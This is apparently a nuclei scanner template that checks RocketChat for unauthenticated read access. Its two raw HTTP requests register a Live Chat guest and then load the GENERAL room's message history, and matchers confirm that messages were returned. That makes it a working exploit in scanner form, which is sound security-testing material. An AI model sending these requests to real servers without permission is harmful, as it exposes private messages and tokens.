nuclei-templates/vulnerabilities/rocketchat/unauth-message-read.yaml

id: rockethchat-unauth-access

info:
  name: RocketChat Unauthenticated Read Access
  author: rojanrijal
  severity: critical
  description: An issue with the Live Chat accepting invalid parameters could potentially allow unauthenticated access to messages and user tokens.
  reference: https://docs.rocket.chat/guides/security/security-updates
  tags: rockethchat,unauth

requests:
  - raw:
      - |
        POST /api/v1/method.callAnon/cve_exploit HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Connection: close
        X-Requested-With: XMLHttpRequest
        Content-Type: application/json
        User-Agent: Ophion SecurityGroup
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
        Accept-Language: en-US,en;q=0.9

        {"message":"{\"msg\":\"method\",\"method\":\"livechat:registerGuest\",\"params\":[{\"token\":\"cvenucleirocketchat\",\"name\":\"cve-2020-nuclei\",\"email\":\"cve@nuclei.local\"}],\"id\":\"123\"}"}

      - |
        POST /api/v1/method.callAnon/cve_exploit HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Connection: close
        Content-Type: application/json
        User-Agent: Ophion SecurityGroup
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
        Accept-Language: en-US,en;q=0.9

        {"message":"{\"msg\":\"method\",\"method\":\"livechat:loadHistory\",\"params\":[{\"token\":\"cvenucleirocketchat\",\"rid\":\"GENERAL\"}],\"msg\":\"123\"}"}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - '"{\"msg\":\"result\",\"result\":{\"messages\"'
          - '"success":true'
        part: body
        condition: and